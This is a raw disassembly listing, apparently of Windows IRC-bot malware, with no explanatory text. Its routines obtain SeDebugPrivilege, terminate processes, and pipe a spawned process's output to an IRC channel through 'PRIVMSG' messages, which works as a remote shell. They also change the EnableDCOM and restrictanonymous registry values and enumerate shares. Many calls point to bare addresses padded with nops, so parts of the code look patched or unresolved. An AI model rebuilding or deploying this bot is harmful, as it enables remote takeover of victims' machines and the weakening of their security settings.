		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAEB8
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396F8

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439758
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 26F0AF0h
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAFC4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE64
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAEB8
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 26F0AF0h
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398F8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_4398D4
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_4398B0

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26702E7h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		call	near ptr 26F0AF0h
		nop
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26508EFh

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396F4h, 65E2E890h, 0E3EB0225h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB228
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB230
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB224
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB22C
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D158
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 2670000h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB234

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB228
		call	near ptr 28409E2h
		nop
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB224
		call	near ptr 28404EFh
		nop
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2670000h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB228
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439980
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26D0000h

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439958
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_439928
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433544
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB22C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D158
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2650BA1h
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB228, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB230, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB224, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB268, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB234
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399E4
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEE8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 267009Ch
		cmp	eax, esi
		mov	dword_43DEF4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2670914h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_4399B0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB074, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_43875C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C80
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C60

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439C30
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BE0
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439BAC

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B70
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B40

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEE8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_439A08

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439B1C
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AF0

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_439A28
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439ACC
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439AA0

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB034

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A78
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A48
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB074, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_4387A0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DF8
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DDC

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439C30
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
